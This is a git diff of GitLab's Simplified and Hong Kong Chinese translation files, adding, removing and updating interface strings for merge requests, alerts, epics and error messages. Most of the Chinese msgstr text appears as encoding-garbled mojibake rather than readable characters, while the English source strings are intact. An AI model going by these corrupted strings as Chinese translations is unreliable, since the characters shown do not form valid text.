msgstr "å–消自动åˆå¹¶"
@@ -28827,7 +29658,7 @@ msgid "mrWidget|Check out branch"
msgstr "检出分支"
msgid "mrWidget|Checking if merge request can be merged…"
-msgstr ""
+msgstr "正在检查åˆå¹¶è¯·æ±‚是å¦å¯ä»¥åˆå¹¶â€¦"
msgid "mrWidget|Cherry-pick"
msgstr "拣选"
@@ -28866,7 +29697,7 @@ msgid "mrWidget|Fork merge requests do not create merge request pipelines which
msgstr "派生åˆå¹¶è¯·æ±‚无法创建验è¯åˆå¹¶ç»“果的åˆå¹¶è¯·æ±‚æµæ°´çº¿"
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
+msgstr "除éžç”±é¡¹ç›®æˆå‘˜å¯åŠ¨ï¼Œæ´¾ç”Ÿé¡¹ç›®åˆå¹¶è¯·æ±‚ä¸ä¼šåˆ›å»ºå¯éªŒè¯åˆå¹¶è¯·æ±‚结果的åˆå¹¶è¯·æ±‚æµæ°´çº¿ã€‚"
msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
msgstr "如果 %{branch} 分支存在于本地仓库中,则å¯ä»¥æ‰‹åŠ¨åˆå¹¶è¯¥åˆå¹¶è¯·æ±‚。需使用"
@@ -28874,17 +29705,14 @@ msgstr "如果 %{branch} 分支存在于本地仓库中,则å¯ä»¥æ‰‹åŠ¨åˆå¹¶è
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "如果 %{missingBranchName} 分支存在于本地仓库中,则å¯ä»¥é€šè¿‡ä»¥ä¸‹å‘½ä»¤è¡Œæ‰‹åŠ¨åˆå¹¶è¯¥åˆå¹¶è¯·æ±‚。"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr "在åˆå¹¶é˜Ÿåˆ—的第%{mergeTrainPosition}ä½"
-
msgid "mrWidget|Jump to first unresolved thread"
-msgstr ""
+msgstr "跳转到第一个未解决的主题"
msgid "mrWidget|Loading deployment statistics"
msgstr "加载部署统计信æ¯ä¸­"
msgid "mrWidget|Mark as ready"
-msgstr ""
+msgstr "标记为已就绪"
msgid "mrWidget|Mentions"
msgstr "æåŠ"
@@ -28910,12 +29738,6 @@ msgstr "åˆå¹¶è€…:"
msgid "mrWidget|More information"
msgstr "更多信æ¯"
-msgid "mrWidget|No approval required"
-msgstr "无需核准"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "无需核准;但您ä»ç„¶å¯ä»¥æ ¸å‡†"
-
msgid "mrWidget|Open in Web IDE"
msgstr "在Web IDE中打开"
@@ -28944,7 +29766,7 @@ msgid "mrWidget|Request to merge"
msgstr "请求åˆå¹¶"
msgid "mrWidget|Resolve all threads in new issue"
-msgstr ""
+msgstr "在新议题中解决所有主题"
msgid "mrWidget|Resolve conflicts"
msgstr "解决冲çª"
@@ -28997,6 +29819,12 @@ msgstr "æºåˆ†æ”¯å°†ä¸ä¼šè¢«åˆ é™¤"
msgid "mrWidget|There are merge conflicts"
msgstr "存在åˆå¹¶å†²çª"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr "此功能是从目标分支åˆå¹¶åˆ°æºåˆ†æ”¯çš„更改。您无法使用此功能,因为æºåˆ†æ”¯å—到ä¿æŠ¤ã€‚"
@@ -29006,12 +29834,6 @@ msgstr "该åˆå¹¶è¯·æ±‚未能自动åˆå¹¶"
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "该åˆå¹¶è¯·æ±‚正在被åˆå¹¶"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "当æµæ°´çº¿%{linkStart}#%{pipelineId}%{linkEnd}æˆåŠŸæ—¶ï¼Œæ­¤åˆå¹¶è¯·æ±‚将添加到åˆå¹¶é˜Ÿåˆ—。"
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "当æµæ°´çº¿%{linkStart}#%{pipelineId}%{linkEnd}æˆåŠŸæ—¶ï¼Œæ­¤åˆå¹¶è¯·æ±‚å°†å¯åŠ¨ä¸€ä¸ªåˆå¹¶é˜Ÿåˆ—。"
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "该项目已存档,ç¦æ­¢å†™å…¥"
@@ -29019,7 +29841,7 @@ msgid "mrWidget|To approve this merge request, please enter your password. This
msgstr "è¦æ‰¹å‡†æ­¤åˆå¹¶è¯·æ±‚,请输入您的密ç ã€‚此项目需è¦æ‰€æœ‰æ‰¹å‡†æ‰èƒ½è®¤è¯ã€‚"
msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
-msgstr ""
+msgstr "使用%{linkStart}CIæµæ°´çº¿æµ‹è¯•ä½ çš„代ç %{linkEnd},åªéœ€ç®€å•åœ°å‘项目添加一个GitLab CIé…置文件。åªéœ€è¦ä¸€åˆ†é’Ÿï¼Œå°±å¯ä»¥ä½¿ä½ çš„代ç çš„更加安全å¯é ã€‚"
msgid "mrWidget|You are not allowed to edit this project directly. Please fork to make changes."
msgstr "ä¸å…许直接编辑此项目。请派生(fork)åŽè¿›è¡Œæ›´æ”¹ã€‚"
@@ -29028,7 +29850,7 @@ msgid "mrWidget|You can delete the source branch now"
msgstr "您现在å¯ä»¥åˆ é™¤æºåˆ†æ”¯"
msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
+msgstr "您å¯ä»¥åœ¨åˆ é™¤æ‹’ç»çš„许å¯è¯åŽåˆå¹¶"
msgid "mrWidget|You can merge this merge request manually using the"
msgstr "æ­¤åˆå¹¶è¯·æ±‚å¯ä»¥æ‰‹åŠ¨åˆå¹¶ï¼Œè¯·ä½¿ç”¨ä»¥ä¸‹"
@@ -29055,7 +29877,7 @@ msgid "mrWidget|to start a merge train when the pipeline succeeds"
msgstr "æµæ°´çº¿æˆåŠŸæ—¶å¯åŠ¨åˆå¹¶é˜Ÿåˆ—"
msgid "must be a root namespace"
-msgstr ""
+msgstr "必须是根命å空间"
msgid "must be greater than start date"
msgstr "必须大于开始日期"
@@ -29085,7 +29907,7 @@ msgid "new merge request"
msgstr "新建åˆå¹¶è¯·æ±‚"
msgid "no approvers"
-msgstr ""
+msgstr "无核准人"
msgid "no contributions"
msgstr "无贡献"
@@ -29127,7 +29949,7 @@ msgid "opened %{timeAgoString} by %{user}"
msgstr "%{user}å¼€å¯äºŽ%{timeAgoString}"
msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
+msgstr "Jira中的%{user}å¼€å¯äºŽ%{timeAgoString}"
msgid "opened %{timeAgo}"
msgstr "å¼€å¯äºŽ%{timeAgo}"
@@ -29147,7 +29969,7 @@ msgid "password"
msgstr "密ç "
msgid "paused"
-msgstr ""
+msgstr "已暂åœ"
msgid "pending comment"
msgstr "待处ç†çš„评论"
@@ -29200,13 +30022,13 @@ msgid "project avatar"
msgstr "项目头åƒ"
msgid "project bots cannot be added to other groups / projects"
-msgstr ""
+msgstr "项目机器人ä¸èƒ½æ·»åŠ åˆ°å…¶ä»–群组/项目"
msgid "project is read-only"
-msgstr ""
+msgstr "项目为åªè¯»"
msgid "project members"
-msgstr ""
+msgstr "项目æˆå‘˜"
msgid "projects"
msgstr "项目"
@@ -29217,6 +30039,9 @@ msgstr "推é€åˆ°æ‚¨çš„仓库,创建æµæ°´çº¿ï¼Œåˆ›å»ºè®®é¢˜æˆ–添加评论。
msgid "quick actions"
msgstr "å¿«æ·æ“作"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "注册"
@@ -29249,7 +30074,7 @@ msgid_plural "replies"
msgstr[0] "æ¡å›žå¤"
msgid "repository:"
-msgstr ""
+msgstr "仓库:"
msgid "reset it."
msgstr "é‡ç½®å®ƒã€‚"
@@ -29260,9 +30085,6 @@ msgstr "已修订"
msgid "satisfied"
msgstr "满足"
-msgid "score"
-msgstr "分"
-
msgid "security Reports|There was an error creating the merge request"
msgstr "创建åˆå¹¶è¯·æ±‚时出错"
@@ -29318,7 +30140,7 @@ msgid "source diff"
msgstr "æºå·®å¼‚"
msgid "specific"
-msgstr ""
+msgstr "特定"
msgid "specified top is not part of the tree"
msgstr "指定的顶级ä¸å±žäºŽç¾¤ç»„层级"
@@ -29327,7 +30149,7 @@ msgid "spendCommand|%{slash_command} will update the sum of the time spent."
msgstr "%{slash_command} 将会更新消耗的总时长。"
msgid "ssh:"
-msgstr ""
+msgstr "ssh:"
msgid "started"
msgstr "已开始"
@@ -29372,7 +30194,7 @@ msgid "tag name"
msgstr "标签å称"
msgid "teammate%{number}@company.com"
-msgstr ""
+msgstr "teammate%{number}@company.com"
msgid "the following issue(s)"
msgstr "下列议题"
@@ -29380,11 +30202,14 @@ msgstr "下列议题"
msgid "this document"
msgstr "此文档"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "帮助您的贡献者进行有效沟通ï¼"
msgid "to join %{source_name}"
-msgstr ""
+msgstr "加入%{source_name}"
msgid "to list"
msgstr "到列表中"
@@ -29398,6 +30223,9 @@ msgstr "切æ¢ä¸‹æ‹‰åˆ—表"
msgid "triggered"
msgstr "已触å‘"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "unicode域å应使用IDNAç¼–ç "
@@ -29461,6 +30289,9 @@ msgstr "添加评论"
msgid "vulnerability|Add comment & dismiss"
msgstr "添加评论并忽略"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "忽略æ¼æ´ž"
@@ -29474,7 +30305,7 @@ msgid "vulnerability|dismissed"
msgstr "已忽略"
msgid "was scheduled to merge after pipeline succeeds by"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚已安排在æµæ°´çº¿æˆåŠŸåŽåˆå¹¶ã€‚åˆå¹¶äºº: "
msgid "wiki page"
msgstr "wiki页é¢"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index c297fdeacf8..20b7d96bd0f 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:40\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,13 +54,13 @@ msgstr[0] " æ高 %d 分"
msgid " or "
msgstr "或"
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
-msgstr "或 <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] "為æ高é é¢åŠ è¼‰é€Ÿåº¦åŠæ€§èƒ½ï¼Œå·²çœç•¥äº† %s 次æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -366,7 +378,7 @@ msgstr "%{firstLabel} +%{labelCount} 更多"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -453,9 +465,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} 開始"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} 被使用者 %{lock_user_id} 鎖定"
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -628,6 +658,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -961,15 +1018,6 @@ msgstr "8 å°æ™‚"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>刪除</strong>來æºåˆ†æ”¯"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1033,7 +1081,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1051,6 +1099,9 @@ msgstr "將會å†å‰µå»ºä¸€å€‹æ–°çš„分支,並建立一個新的åˆä½µè«‹æ±‚。
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1153,6 +1204,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1264,6 +1318,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "啟用"
@@ -1295,12 +1352,6 @@ msgstr[0] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "新增 CHANGELOG"
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr "ç«‹å³ç•™è¨€"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1439,6 +1496,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "新增標籤"
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr "為æ¯å€‹é …目的自動複閱應用åŠè‡ªå‹•éƒ¨ç½²æŒ‡å®šä¸€å€‹é è¨­çš„
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -1959,6 +2025,9 @@ msgstr[0] "æ示"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "從模æ¿å»ºç«‹æˆ–導入專案時將啟用所有功能,您å¯ä»¥åœ¨å°ˆæ¡ˆè¨­ç½®ä¸­å°‡å…¶é—œé–‰ã€‚"
@@ -2388,6 +2457,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,15 +2754,18 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
msgid "An error occurred while saving assignees"
msgstr "儲存指派人時發生錯誤"
-msgid "An error occurred while saving the approval settings"
-msgstr ""
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2703,12 +2790,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2787,6 +2880,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr "四月"
msgid "April"
msgstr "四月"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr "此群組無徽章。"
msgid "Badges|This project has no badges"
msgstr "此專案無徽章"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,14 +3912,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "分支 <strong>%{branch_name}</strong> 已創建。如需設置自動部署, è«‹é¸æ“‡åˆé©çš„ GitLab CI Yaml 模æ¿ä½µæ交更改。%{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "分支已變更"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr "å–消"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr "已關閉"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "已關閉議題"
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
